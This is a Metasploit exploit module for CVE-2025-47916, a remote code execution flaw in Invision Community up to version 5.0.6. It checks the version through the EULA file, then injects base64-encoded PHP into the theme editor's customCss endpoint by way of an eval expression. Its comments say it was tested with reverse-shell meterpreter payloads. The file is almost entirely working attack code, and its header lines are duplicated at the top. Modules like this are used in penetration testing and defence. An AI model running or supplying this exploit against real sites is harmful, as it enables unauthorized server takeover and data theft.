##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Payload::Php

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Invision Community 5.0.6 customCss RCE',
'Description' => %q{
Invision Community up to and including version 5.0.6 contains a remote code
execution vulnerability in the theme editor's customCss endpoint. By crafting
a specially formatted `content` parameter with a `{expression="?"}`
construct, arbitrary PHP can be evaluated. This module leverages that flaw
to execute payloads or system commands as the webserver user.
},
'Author' => [
'Egidio Romano (EgiX)', # Vulnerability discovery & original PoC
'Valentin Lobstein' # Metasploit module
],
'References' => [
['CVE', '2025-47916'],
['URL', 'https://karmainsecurity.com/KIS-2025-02'],
['URL', 'https://invisioncommunity.com']
],
'License' => MSF_LICENSE,
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-05-16',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end

def check
path = normalize_uri(target_uri.path, 'admin', 'install', 'eula.txt')
res = send_request_cgi('uri' => path, 'method' => 'GET')
unless res&.code == 200 && res.body =~ /^ IPS\ ([\d.]+) /
return CheckCode::Unknown('Unable to retrieve or parse IPS version from EULA')
end

version = Rex::Version.new(Regexp.last_match(1))
print_status("Detected IPS version: #{version}")

if version.between?(Rex::Version.new('5.0.0'), Rex::Version.new('5.0.6'))
CheckCode::Appears("IPS version #{version} is vulnerable (? 5.0.6)")
else
CheckCode::Safe("IPS version #{version} is not vulnerable")
end
end

# I'll remove this method when PR #20160 is merged. I'm aware of it, thanks
def php_exec_cmd(encoded_payload)
vars = Rex::RandomIdentifier::Generator.new
dis = '$' + vars[:dis]
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$c = base64_decode("#{encoded_clean_payload}");
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
END_OF_PHP_CODE
return shell
end

def exploit
raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
b64 = Rex::Text.encode_base64(raw)

expr = "{expression=\"die(eval(base64_decode('#{b64}')))\"}"
post_data = {
'app' => 'core',
'module' => 'system',
'controller' => 'themeeditor',
'do' => 'customCss',
'content' => expr
}

print_status("Sending exploit to #{rhost}:#{rport} ...")
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'vars_post' => post_data
)
end
end